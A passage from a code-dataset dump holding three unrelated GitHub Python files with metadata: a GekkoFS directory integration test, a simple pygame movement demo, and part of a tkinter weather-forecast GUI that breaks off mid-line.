test_mkdir(gkfs_daemon, gkfs_client):\n \"\"\"Create a new directory in the FS's root\"\"\"\n\n topdir = gkfs_daemon.mountdir / \"top\"\n longer = Path(topdir.parent, topdir.name + \"_plus\")\n dir_a = topdir / \"dir_a\"\n dir_b = topdir / \"dir_b\"\n file_a = topdir / \"file_a\"\n subdir_a = dir_a / \"subdir_a\"\n\n # create topdir\n ret = gkfs_client.mkdir(\n topdir,\n stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)\n\n assert ret.retval == 0\n\n # test stat on existing dir\n ret = gkfs_client.stat(topdir)\n\n assert ret.retval == 0\n assert stat.S_ISDIR(ret.statbuf.st_mode)\n\n # open topdir\n ret = gkfs_client.open(topdir, os.O_DIRECTORY)\n assert ret.retval != -1\n\n\n # read and write should be impossible on directories\n ret = gkfs_client.read(topdir, 1)\n\n assert ret.buf is None\n assert ret.retval == -1\n assert ret.errno == errno.EISDIR\n\n # buf = bytes('42', sys.stdout.encoding)\n # print(buf.hex())\n buf = b'42'\n ret = gkfs_client.write(topdir, buf, 1)\n\n assert ret.retval == -1\n assert ret.errno == errno.EISDIR\n\n\n # read top directory that is empty\n ret = gkfs_client.opendir(topdir)\n\n assert ret.dirp is not None\n\n ret = gkfs_client.readdir(topdir)\n\n # XXX: This might change in the future if we add '.' and '..'\n assert len(ret.dirents) == 0\n\n # close directory\n # TODO: disabled for now because we have no way to keep DIR* alive\n # between gkfs.io executions\n # ret = gkfs_client.opendir(XXX)\n\n\n # populate top directory\n for d in [dir_a, dir_b]:\n ret = gkfs_client.mkdir(\n d,\n stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)\n\n assert ret.retval == 0\n\n ret = gkfs_client.open(file_a,\n os.O_CREAT,\n stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)\n\n assert ret.retval != -1\n\n ret = gkfs_client.readdir(gkfs_daemon.mountdir)\n\n # XXX: This might change in the future if we add '.' and '..'\n assert len(ret.dirents) == 1\n assert ret.dirents[0].d_name == 'top'\n assert ret.dirents[0].d_type == 4 # DT_DIR\n\n expected = [\n ( dir_a.name, 4 ), # DT_DIR\n ( dir_b.name, 4 ),\n ( file_a.name, 8 ) # DT_REG\n ]\n\n ret = gkfs_client.readdir(topdir)\n assert len(ret.dirents) == len(expected)\n\n for d,e in zip(ret.dirents, expected):\n assert d.d_name == e[0]\n assert d.d_type == e[1]\n\n # remove file using rmdir should produce an error\n ret = gkfs_client.rmdir(file_a)\n assert ret.retval == -1\n assert ret.errno == errno.ENOTDIR\n\n # create a directory with the same prefix as topdir but longer name\n ret = gkfs_client.mkdir(\n longer,\n stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)\n\n assert ret.retval == 0\n\n expected = [\n ( topdir.name, 4 ), # DT_DIR\n ( longer.name, 4 ), # DT_DIR\n ]\n\n ret = gkfs_client.readdir(gkfs_daemon.mountdir)\n assert len(ret.dirents) == len(expected)\n\n for d,e in zip(ret.dirents, expected):\n assert d.d_name == e[0]\n assert d.d_type == e[1]\n\n # create 2nd level subdir and check it's not included in readdir()\n ret = gkfs_client.mkdir(\n subdir_a,\n stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)\n\n assert ret.retval == 0\n\n expected = [\n ( topdir.name, 4 ), # DT_DIR\n ( longer.name, 4 ), # DT_DIR\n ]\n\n ret = gkfs_client.readdir(gkfs_daemon.mountdir)\n assert len(ret.dirents) == len(expected)\n\n for d,e in zip(ret.dirents, expected):\n assert d.d_name == e[0]\n assert d.d_type == e[1]\n\n expected = [\n ( subdir_a.name, 4 ), # DT_DIR\n ]\n\n ret = gkfs_client.readdir(dir_a)\n\n assert len(ret.dirents) == len(expected)\n\n for d,e in zip(ret.dirents, expected):\n assert d.d_name == e[0]\n assert d.d_type == e[1]\n\n\n return\n\n@pytest.mark.skip(reason=\"invalid errno returned on success\")\n@pytest.mark.parametrize(\"directory_path\",\n [ nonexisting ])\ndef test_opendir(gkfs_daemon, gkfs_client, directory_path):\n\n ret = gkfs_client.opendir(gkfs_daemon.mountdir / directory_path)\n\n assert ret.dirp is None\n assert ret.errno == errno.ENOENT\n\n# def test_stat(gkfs_daemon):\n# pass\n#\n# def test_rmdir(gkfs_daemon):\n# pass\n#\n# def test_closedir(gkfs_daemon):\n# pass\n", "repo_name": "NGIOproject/old_GekkoFS_old", "sub_path": "tests/integration/directories/test_directories.py", "file_name": "test_directories.py", "file_ext": "py", "file_size_in_byte": 4608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 36, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 20, "usage_type": "call"}, {"api_name": "stat.S_IRWXU", "line_number": 29, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXG", "line_number": 29, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXO", "line_number": 29, "usage_type": "attribute"}, {"api_name": "stat.S_ISDIR", "line_number": 37, "usage_type": "call"}, {"api_name": "os.O_DIRECTORY", "line_number": 40, "usage_type": "attribute"}, {"api_name": "errno.EISDIR", "line_number": 49, "usage_type": "attribute"}, {"api_name": "errno.EISDIR", "line_number": 57, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXU", "line_number": 80, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXG", "line_number": 80, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXO", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.O_CREAT", "line_number": 85, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXU", "line_number": 86, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXG", "line_number": 86, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXO", "line_number": 86, "usage_type": "attribute"}, {"api_name": "errno.ENOTDIR", "line_number": 113, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXU", "line_number": 118, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXG", "line_number": 118, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXO", "line_number": 118, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXU", "line_number": 137, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXG", "line_number": 137, "usage_type": "attribute"}, {"api_name": "stat.S_IRWXO", "line_number": 137, "usage_type": "attribute"}, {"api_name": "errno.ENOENT", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pytest.mark.skip", "line_number": 168, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 169, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 169, "usage_type": "attribute"}]} {"seq_id": "28478203462", "text": "import pygame \r\n\r\n\r\nx = pygame.init()\r\n\r\nbground = (192, 203, 217)\r\nblack = (0, 0, 102)\r\nsnax, snay, snah, snaw = 100, 100, 15, 15\r\n\r\n# Python real time clock \r\nclock = pygame.time.Clock()\r\n\r\n\r\nwin = pygame.display.set_mode((900,700))\r\npygame.display.set_caption(\"Something, I don't know\")\r\npygame.display.update()\r\n\r\nexit_game = False \r\ngame_over = False \r\n\r\nwhile not exit_game : \r\n for event in pygame.event.get() : \r\n if event.type == pygame.QUIT : \r\n exit_game = True\r\n \r\n if event.type == pygame.KEYDOWN : \r\n if event.key == pygame.K_RIGHT : \r\n snax = snax + 10 \r\n if event.type == pygame.KEYDOWN : \r\n if event.key == pygame.K_LEFT : \r\n snax = snax - 10 \r\n if event.type == pygame.KEYDOWN : \r\n if event.key == pygame.K_UP : \r\n snay = snay - 10 \r\n if event.type == pygame.KEYDOWN : \r\n if event.key == pygame.K_DOWN : \r\n snay = snay + 10 \r\n \r\n \r\n win.fill(bground)\r\n pygame.draw.rect(win, black, [snax, snay, snaw, snah] )\r\n pygame.display.update()\r\n \r\n # Clock with FPS\r\n clock.tick(30)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ", "repo_name": "Kshav005/Game-Development", "sub_path": "Chapter 4 Clock.py", "file_name": "Chapter 4 Clock.py", "file_ext": "py", "file_size_in_byte": 1238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 42, "usage_type": "attribute"}]} {"seq_id": "73253744253", "text": "import tkinter as tk\nfrom model import Model\nfrom map import Map\n \nimport json\nfrom tkinter import ttk\nfrom PIL import Image, ImageTk\nimport datetime\nimport pandas as pd\nimport numpy as np\nfrom pandas import DataFrame\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as plticker\nfrom matplotlib.backends.backend_tkagg import (FigureCanvasTkAgg, \nNavigationToolbar2Tk) \n\nfrom scipy import interpolate\n\n\nclass ScrollableFrame(tk.Frame):\n def __init__(self, parent):\n\n self.parent = parent\n \n\n tk.Frame.__init__(self, self.parent)\n \n\n self.canvas = tk.Canvas(self)\n self.scrollbar = tk.Scrollbar(self, orient=\"vertical\", command=self.canvas.yview)\n self.canvas.configure(yscrollcommand=self.scrollbar.set)\n #self.scrollbar.pack( side = tk.RIGHT, fill = tk.Y)\n #self.canvas.pack( fill = tk.BOTH, expand=True)\n\n self.canvas.grid(row=0, column=0, sticky=\"ns\")\n self.scrollbar.grid(row=0, column=1, sticky = \"ns\")\n \n \n\n self.scrollable_frame = tk.Frame(self.canvas)\n self.canvas.create_window((0, 0), window=self.scrollable_frame, anchor=\"nw\",\n tags=\"scroll_fr\")\n \n self.grid_rowconfigure(0, weight=1)\n self.grid_columnconfigure(0, weight=1)\n\n \n self.scrollable_frame.bind(\n \"\",\n self.handle_canvas_resize\n )\n \n\n def handle_canvas_resize(self,event):\n \n width = event.width\n self.canvas.config( width=width)\n \n self.canvas.config(scrollregion=self.canvas.bbox(\"all\"))\n \n\n \nclass View:\n background_image = 0\n\n def __init__(self,parent):\n self.container = parent\n #initial values \n self.i = tk.IntVar()\n self.i.set(0)\n self.layer_i = tk.StringVar()\n self.layer_i.set(\"temp_new\")\n\n #class variables\n self.WIDTH = parent.winfo_width()\n self.HEIGHT = parent.winfo_height()\n self.PADDING = 3\n self.bg_color = 'white'\n\n self.map = Map()\n \n \n \n \n\n def setup(self):\n \n\n #gui navigation\n self.header_bar()\n self.tab_bar()\n\n #Forecast sections\n self.overview_section()\n self.next_48hrs()\n self.daily_section()\n self.load_daily_detail()\n\n #Map section\n self.load_map_section()\n\n\n \n#### GUI ####\n\n\n def tab_bar(self): \n\n #The tab bar\n noteStyler = ttk.Style( )\n noteStyler.theme_use('winnative')\n noteStyler.configure('lefttab.TNotebook', tabposition='wn' , tabmargins=[2, 5, 2, 0],background='navajo white')\n noteStyler.map('lefttab.TNotebook.Tab',background=[('selected', 'goldenrod'), ('active', 'goldenrod')])\n noteStyler.configure('lefttab.TNotebook.Tab', padding=[12, 12], font =(None, 12))\n\n self.notebook = ttk.Notebook(self.container, style='lefttab.TNotebook')\n self.notebook.pack(side = tk.BOTTOM,fill=tk.BOTH, expand = True)\n \n #Make Tabs\n self.forecast_frame = tk.Frame(self.notebook)\n self.testScroll = ScrollableFrame(self.forecast_frame)\n self.testScroll.pack(side=tk.BOTTOM,fill=tk.BOTH, expand=True)\n self.forecast_tab = tk.Frame(self.testScroll.scrollable_frame, bg='white')\n self.forecast_tab.pack( fill=tk.BOTH, expand=True)\n \n self.map_tab = tk.Frame(self.notebook, bg= 'white')\n\n\n self.notebook.add(self.forecast_frame, text=\"Forecast\".ljust(8)[:8])\n self.notebook.add(self.map_tab, text=\" Map \".ljust(8))\n\n\n def load_map_section(self):\n \n\n #change layers\n #add radiobutton\n LAYERS = [\n (\"Temperature\",\"temp_new\"),\n (\"Clouds\",\"clouds_new\"),\n (\"Precipitation\",\"precipitation_new\"),\n (\"Sea level pressure\",\"pressure_new\"),\n (\"Wind speed\",\"wind_new\"),\n \n ]\n\n self.layer_btn_frame = tk.Frame(self.map_tab, bg= 'white')\n self.layer_btn_frame.pack(side=tk.BOTTOM, padx = 20, pady = 10)\n #populate radio buttons using loop\n for text, layer in LAYERS:\n self.btn = tk.Radiobutton(self.layer_btn_frame, text= text, variable=self.layer_i,value=layer, command = self.map_RadioBtnSelected, bg= 'white') \n self.btn.pack(side=tk.LEFT)\n \n #map fig\n self.load_mapfig(self.location)\n self.loc_label = tk.Label(self.map_tab, text = self.location.address,bg= 'white',\n font=(None, 15), \n anchor=tk.CENTER, padx = 10,pady=10)\n self.loc_label.pack()\n\n\n def load_mapfig(self,location):\n #map container\n self.map_canvas = tk.Canvas(self.map_tab, bg= 'white')\n self.map_canvas.pack( expand = True)\n\n #matlab figure\n self.map_fig = plt.Figure()\n\n latitude = self.location.latitude \n longitude = self.location.longitude\n print(\"lat\",latitude)\n print(\"lon\",longitude)\n self.map_ax = self.map.map(self.map_fig, self.layer_i.get(),longitude,latitude )\n self.map_ax.set_title(\"Radar\")\n self.map_widget = FigureCanvasTkAgg(self.map_fig, self.map_canvas)\n self.map_widget.get_tk_widget().pack(fill = tk.X)\n self.map_widget.draw()\n \n def header_bar(self):\n # button picture icons\n img_search = Image.open(\"./img/search_icon.png\")\n img_search = img_search.resize((25,25), Image.ANTIALIAS)\n\n img_refresh = Image.open(\"./img/refresh_icon.png\")\n img_refresh = img_refresh.resize((25,25), Image.ANTIALIAS)\n\n self.search_icon = ImageTk.PhotoImage(img_search)\n self.btn_refresh_icon = ImageTk.PhotoImage(img_refresh)\n\n #frame container\n self.header_frame = tk.Frame(self.container, bg= 'white')\n\n self.refresh_btn = tk.Button(self.header_frame, image = self.btn_refresh_icon)\n self.search_box = tk.Entry(self.header_frame, font=(None, 15))\n self.search_btn = tk.Button(self.header_frame, image = self.search_icon, bg= 'white',command=self.clear_text)\n\n \n self.header_frame.pack(side=tk.TOP,fill = tk.X)\n self.search_btn.pack(side = tk.RIGHT)\n self.search_box.pack(side = tk.RIGHT)\n self.refresh_btn.pack(side = tk.RIGHT, padx=20)\n \n def overview_section(self):\n #overview section\n canvas_height = 250\n canvas_width = self.WIDTH\n current = self.weather_json['current'] \n self.overview_canvas = tk.Canvas(self.forecast_tab, height = canvas_height, bg = 'white',highlightthickness=0)\n self.overview_canvas.pack(fill = tk.X)\n self.notebook.update() \n\n self.overview_bg = self.overview_canvas.create_image(canvas_width/2,canvas_height/2, image = self.load_bg())\n\n self.location_text = self.overview_canvas.create_text(\n canvas_width//2, canvas_height*0.12, \n text='', \n fill = 'white', \n font=(None, 15), \n anchor=tk.CENTER)\n\n self.weather_icon_pic = self.overview_canvas.create_image(canvas_width//2-150, canvas_height*0.25, anchor='nw')\n self.temp_lbl = self.overview_canvas.create_text(\n canvas_width//2, canvas_height*0.35, \n text='', fill = 'white', \n font=(None, 55), \n anchor=tk.CENTER)\n \n self.c_button = tk.Button(self.overview_canvas, text = \"C\",font=(None, 15) )\n self.c_button_window = self.overview_canvas.create_window(\n canvas_width//2+100, canvas_height*0.25, \n anchor='nw', \n window= self.c_button)\n \n self.weather_text_lbl = self.overview_canvas.create_text(\n canvas_width//2, canvas_height*0.6, \n text='', \n fill= 'white', font=(None, 15), \n anchor=tk.CENTER)\n\n overview_text = \"Feels like 7° Pressure 1021 Humidity 68% \\nDew Point 13.2 Wind: 7.8km/h Visibility 100%\"\n self.overview_info_text = self.overview_canvas.create_text(\n canvas_width//2, canvas_height*0.75, \n text=overview_text, \n fill = 'white', \n anchor=tk.CENTER)\n\n self.last_updated_lbl = self.overview_canvas.create_text(\n canvas_width//2, canvas_height*0.9, \n text='Last updated: 10:10AM', \n fill = 'green', font=(None, 8), \n anchor=tk.CENTER)\n\n #assign callback to resize this section when window is changed\n self.overview_canvas.bind(\"\", self.resize_window)\n self.overview_canvas.addtag_all(\"all\")\n\n\n def next_48hrs(self):\n \n self.hourly_frame = tk.Frame(self.forecast_tab, bg = 'white')\n self.hourly_frame.pack()\n\n #gather data\n graphData = self.weather_json['hourly']\n hours = [i['dt'] for i in graphData]\n x_hours = pd.to_datetime(hours, unit = 's').strftime(\"%I%p %a\")\n \n x_incre = list(range(0, 48))\n\n y_temp = [i['temp'] for i in graphData]\n y_precipitation = [i['pop']*100 for i in graphData]\n y_windspeed = [i['wind_speed'] for i in graphData]\n \n\n \n\n #create figure area\n self.f = plt.Figure( figsize=(10,3), tight_layout=True)\n self.ax = self.f.add_subplot(111)\n # draw subplot\n self.line_fig = FigureCanvasTkAgg(self.f, self.hourly_frame)\n self.line_fig.draw() \n self.line_fig.get_tk_widget().pack()\n self.line_fig.mpl_connect('pick_event', self.legend_pick)\n \n #add subplot\n \n self.ax.set_facecolor('skyblue')\n self.ax.set_xlabel('Time (hr)')\n self.ax.set_ylabel('Temp', color='darkorange')\n self.ax.set_title('Next 48 hours')\n\n self.ax.tick_params( labelsize=7, color='moccasin')\n\n #add data to plot\n self.line1, = self.ax.plot(x_hours,y_temp,color='moccasin', zorder = 3, label=\"Temp\")\n \n \n self.ax2 = self.ax.twinx()\n self.ax3 = self.ax.twinx()\n self.ax3.spines[\"right\"].set_position((\"axes\", 1.15))\n \n self.ax3.spines[\"right\"].set_visible(True)\n\n self.ax2.set_ylabel('Rain Chance (%)', color='royalblue')\n self.line2, = self.ax2.plot(x_hours, y_precipitation, color='royalblue', zorder=1, label=\"Rain\")\n self.ax2.tick_params( labelsize=7, color='royalblue')\n self.ax2.fill_between(x_hours,y_precipitation, color='cornflowerblue')\n self.ax2.set_ylim( 0,100)\n\n self.ax3.set_ylabel('Wind speed (m/s)', color='lightslategrey')\n self.line3, = self.ax3.plot(x_hours, y_windspeed, color='lightslategrey', zorder=2, label=\"Wind\")\n self.ax3.tick_params( labelsize=7, color='lightslategrey')\n self.ax3.set_ylim( 0,30)\n\n self.ax.set_xticklabels(x_hours)\n self.ax.set_ylim( 0,max(y_temp)+3)\n self.ax.set_xlim(0,48)\n self.ax.grid(True)\n\n #legend\n leg = self.f.legend(loc='upper center', bbox_to_anchor=(0.45, 0.9),\n ncol=3, fancybox=True, shadow=True, fontsize=10)\n leg.get_frame().set_alpha(0.4)\n \n for label in self.ax.get_xticklabels()[::2]:\n label.set_visible(False)\n \n plt.setp(self.ax.get_xticklabels(), rotation=-50, horizontalalignment='left',rotation_mode=\"anchor\")\n self.f.subplots_adjust(bottom=0.2)\n \n\n \n # we will set up a dict mapping legend line to orig line, and enable\n # picking on the legend line\n self.lined = dict()\n axes = [ self.line1, self.ax2, self.ax3]\n \n for legline, origline in zip(leg.get_lines(), axes):\n legline.set_picker(10) # 10 pts tolerance\n \n self.lined[legline] = origline\n \n def legend_pick(self, event):\n # on the pick event, find the orig line corresponding to the\n # legend proxy line, and toggle the visibility\n \n legline = event.artist\n origline = self.lined[legline]\n vis = not origline.get_visible()\n origline.set_visible(vis)\n \n # Change the alpha on the line in the legend so we can see what lines\n # have been toggled\n if vis:\n legline.set_alpha(1.0)\n else:\n legline.set_alpha(0.2)\n\n self.f.canvas.draw()\n self.f.canvas.flush_events()\n \n def daily_section(self):\n \n #daily item header for 8 day forecast. Implement horizontal scroll for overflow \n\n #parent container for scroll view inside the tab\n self.daily_scroll_frame = tk.Frame(self.forecast_tab,bg='white')\n self.daily_scroll_frame.pack()\n\n #only canvas are scrollable\n self.scroll_canvas = tk.Canvas(self.daily_scroll_frame, height= 135, width = 900, bg= 'white')\n self.scrollbar_daily = tk.Scrollbar(self.daily_scroll_frame, orient = 'horizontal', command=self.scroll_canvas.xview, bg= 'white')\n self.scrollbar_daily.pack(fill=tk.X, side=tk.BOTTOM)\n\n #create the frame that will be put inside the canavs\n self.daily_frame = tk.Frame(self.scroll_canvas, bg= 'white')\n self.load_daily_items()\n\n self.scroll_canvas.create_window(0, 0, anchor='nw', window=self.daily_frame)\n self.scroll_canvas.update_idletasks()\n self.scroll_canvas.configure(scrollregion=self.scroll_canvas.bbox('all'), xscrollcommand=self.scrollbar_daily.set)\n self.scroll_canvas.pack( padx=self.PADDING, pady=self.PADDING)\n\n #daily detail \n \n \n def load_daily_items(self):\n #daily item \n daily= self.weather_json['daily']\n for index, day in enumerate(daily):\n \n date = datetime.datetime.fromtimestamp(day['dt'])\n temp = day['temp']\n #create daily item\n self.daily_item = tk.Frame(self.daily_frame, bg = 'white')\n \n self.daily_date_lbl = tk.Label(self.daily_item, \n text= date.strftime(\"%a %d\"), \n font=30, width = 10, bg= 'white')\n self.daily_weather_icon = tk.Canvas(self.daily_item, width=35, height = 40 , bg= 'white')\n self.daily_temp_fr = tk.Frame(self.daily_item,bg= 'white')\n self.daily_temp_high = tk.Label(self.daily_temp_fr, text=str(round(temp['max']))+\"°\", font=(None,20), bg= 'white')\n self.daily_temp_low = tk.Label(self.daily_temp_fr, text=str(round(temp['min']))+\"°\",font=(None,16), foreground ='grey', bg= 'white')\n self.daily_weather_text = tk.Label(self.daily_item, text = day['weather'][0]['main'] , bg= 'white')\n \n #load daily item widgets\n self.daily_item.pack(side = tk.LEFT)\n self.daily_date_lbl.pack(anchor = \"w\")\n self.daily_weather_icon.pack(fill = tk.BOTH)\n self.daily_temp_fr.pack(anchor = \"w\")\n self.daily_temp_high.pack(side= tk.LEFT, anchor = \"s\", padx=self.PADDING+4)\n self.daily_temp_low.pack(side= tk.LEFT, anchor = \"sw\",padx=self.PADDING, pady=self.PADDING)\n #self.daily_weather_text.pack(side = tk.LEFT , padx=self.PADDING+4,pady=self.PADDING)\n #load icon\n self.img_small = ImageTk.PhotoImage(Image.open('./img/'+day[\"weather\"][0]['icon']+'.png').resize((50, 50)))\n self.daily_weather_icon.delete(\"all\")\n self.daily_weather_icon.create_image(30,0, anchor=\"nw\", image=self.img_small)\n self.daily_weather_icon.image = self.img_small\n\n #radio button\n self.radiobutton = tk.Radiobutton(self.daily_item, value =index, variable = self.i, command=self.Daily_RadioBtnSelected, bg= 'white')\n self.radiobutton.pack()\n self.i.set(0)\n \n def load_daily_detail(self):\n\n\n #detail frame\n self.daily_detail_frame = tk.Frame(self.forecast_tab, bg = 'white')\n \n self.daily_detail_frame.pack(side = tk.TOP )\n \n # set data for plot\n graphData = self.weather_json['daily'][self.i.get()]['temp']\n x = [0,1,2,3]\n y = [graphData['morn'],graphData['day'],graphData['eve'],graphData['night']]\n \n xnew = np.linspace(0, 4, 20) \n bspline = interpolate.make_interp_spline(x, y)\n y_smoothed = bspline(xnew)\n \n\n # the figure that will contain the plot \n self.hourly_fig = plt.Figure(figsize=(4,2), dpi=100, constrained_layout=True)\n\n # adding the subplot \n self.ax = self.hourly_fig.add_subplot(111)\n\n # plotting the graph \n self.ax.set_title('Day Details')\n self.line, = self.ax.plot(xnew,y_smoothed,'black') \n self.ax.set_ylim( 0,45)\n self.fill_day = self.ax.fill_between(xnew,y_smoothed, color='moccasin')\n\n self.line_fig = FigureCanvasTkAgg(self.hourly_fig, self.daily_detail_frame)\n self.line_fig.get_tk_widget().pack(fill = tk.X)\n self.line_fig.draw()\n\n #data\n #sunrise, sunset, temp(day,night,evening,morning,min,max), feels like, pressure, humidity, dew,wind,weather, clouds,pop,uvi\n #fetch data\n daily_data = self.weather_json['daily'][self.i.get()]\n\n sunrise = daily_data['sunrise']\n sunrise_time = datetime.datetime.fromtimestamp(sunrise)\n sunrise_string = str(sunrise_time.strftime(\"%I:%M %p\"))\n\n sunset = daily_data['sunset']\n sunset_time = datetime.datetime.fromtimestamp(sunset)\n sunset_string = str(sunset_time.strftime(\"%I:%M %p\"))\n\n temp = daily_data['temp']\n temp_max = temp['max']\n temp_min = temp['min']\n \n feels_like = daily_data['feels_like']\n clouds_percent = daily_data['clouds']\n rain_prob = daily_data['pop']*100\n \n \n humidity = daily_data['humidity']\n wind_speed = daily_data['wind_speed']\n uvi = daily_data['uvi']\n pressure = daily_data['pressure']\n dew_point = daily_data['dew_point']\n \n\n #strings\n weather_string = \"Day Description: \" + daily_data['weather'][0]['description']\n sun_rise_set = \"Sunrise at \" + str(sunrise_string) + \"\\nSunset at \" + str(sunset_string) \n temp_string = \"Max Temperature: \" + str(temp_max)+\"°\" + \" feels like \" + str(feels_like['day']) +\"°\"+ \"\\nMin Temperature: \" + str(temp_min) +\"°\"+ \" feels like \" + str(feels_like['night'])+\"°\"\n \n group_info1 = \"Rain chance: \" + str(rain_prob) +\"%\" + \"\\nHumidity: \" +str(humidity)+\"%\" +\"\\tUV Index: \" + str(uvi) \n group_info2 = \"Wind speed: \" + str(rain_prob) + \"km/s\" + \"\\tClouds: \"+ str(clouds_percent) + \"%\"\n group_info3 = \"Atmospheric Conditions: \\nPressure: \"+ str(pressure)+\"hPa\" + \"\\nDew Point: \"+ str(dew_point)+\"°\"\n\n\n\n \n self.daily_detail_frame_bottom = tk.Frame(self.daily_detail_frame, bg= 'red')\n self.daily_detail_frame_bottom.pack(fill = tk.BOTH, expand = True )\n\n self.top_detail = tk.Frame(self.daily_detail_frame_bottom)\n self.top_detail.pack(fill=tk.BOTH, expand= True)\n self.lab1 = tk.Label(self.top_detail, text = weather_string, font = 30, bg= 'white', padx=8, pady=8)\n self.lab2 = tk.Label(self.top_detail, text = sun_rise_set, font = 30, padx=8, pady=8)\n\n self.mid_detail = tk.Frame(self.daily_detail_frame_bottom)\n self.mid_detail.pack(fill=tk.BOTH, expand= True)\n self.lab3 = tk.Label(self.mid_detail, text = temp_string, font = 30, padx=8, pady=8)\n self.lab4 = tk.Label(self.mid_detail, text = group_info1, font = 30,bg= 'white', padx=8, pady=8)\n\n self.bot_detail = tk.Frame(self.daily_detail_frame_bottom)\n self.bot_detail.pack(fill=tk.BOTH, expand= True)\n self.lab5 = tk.Label(self.bot_detail, text = group_info2, font = 30,bg= 'white', padx=8, pady=8)\n self.lab6 = tk.Label(self.bot_detail, text = group_info3, font = 30 , padx=8, pady=8)\n\n \n self.lab1.pack(side= tk.LEFT,fill=tk.BOTH, expand= True)\n self.lab2.pack(side= tk.LEFT,fill=tk.BOTH, expand= True)\n self.lab3.pack(side= tk.LEFT,fill=tk.BOTH, expand= True)\n self.lab4.pack(side= tk.LEFT,fill=tk.BOTH, expand= True)\n self.lab5.pack(side= tk.LEFT,fill=tk.BOTH, expand= True)\n self.lab6.pack(side= tk.LEFT,fill=tk.BOTH, expand= True)\n \n def update_daily_detail(self):\n \n \n \n graphData = self.weather_json['daily'][self.i.get()]['temp']\n \n x = [0,1,2,3]\n y = [graphData['morn'],graphData['day'],graphData['eve'],graphData['night']]\n \n xnew = np.linspace(0, 4, 20) \n bspline = interpolate.make_interp_spline(x, y)\n y_smoothed = bspline(xnew)\n #update data\n self.line.set_ydata(y_smoothed)\n self.ax.set_ylim( 0,45)\n self.fill_day.remove()\n \n self.fill_day = self.ax.fill_between(xnew,y_smoothed, color='moccasin')\n #refresh ui\n self.hourly_fig.canvas.draw()\n self.hourly_fig.canvas.flush_events()\n\n \n #fetch data\n daily_data = self.weather_json['daily'][self.i.get()]\n\n sunrise = daily_data['sunrise']\n sunrise_time = datetime.datetime.fromtimestamp(sunrise)\n sunrise_string = str(sunrise_time.strftime(\"%I:%M %p\"))\n\n sunset = daily_data['sunset']\n sunset_time = datetime.datetime.fromtimestamp(sunset)\n sunset_string = str(sunset_time.strftime(\"%I:%M %p\"))\n\n temp = daily_data['temp']\n temp_max = temp['max']\n temp_min = temp['min']\n\n feels_like = daily_data['feels_like']\n clouds_percent = daily_data['clouds']\n rain_prob = daily_data['pop']*100\n \n \n humidity = daily_data['humidity']\n wind_speed = daily_data['wind_speed']\n uvi = daily_data['uvi']\n pressure = daily_data['pressure']\n dew_point = daily_data['dew_point']\n \n\n #strings\n weather_string = \"Day Description: \" + daily_data['weather'][0]['description']\n sun_rise_set = \"Sunrise at \" + str(sunrise_string) + \"\\nSunset at \" + str(sunset_string) \n temp_string = \"Max Temperature: \" + str(temp_max)+\"°\" + \" feels like \" + str(feels_like['day']) +\"°\"+ \"\\nMin Temperature: \" + str(temp_min) +\"°\"+ \" feels like \" + str(feels_like['night'])+\"°\"\n \n group_info1 = \"Rain chance: \" + str(rain_prob) +\"%\" + \"\\nHumidity: \" +str(humidity)+\"%\" +\"\\tUV Index: \" + str(uvi) \n group_info2 = \"Wind speed: \" + str(rain_prob) + \"km/s\" + \"\\tClouds: \"+ 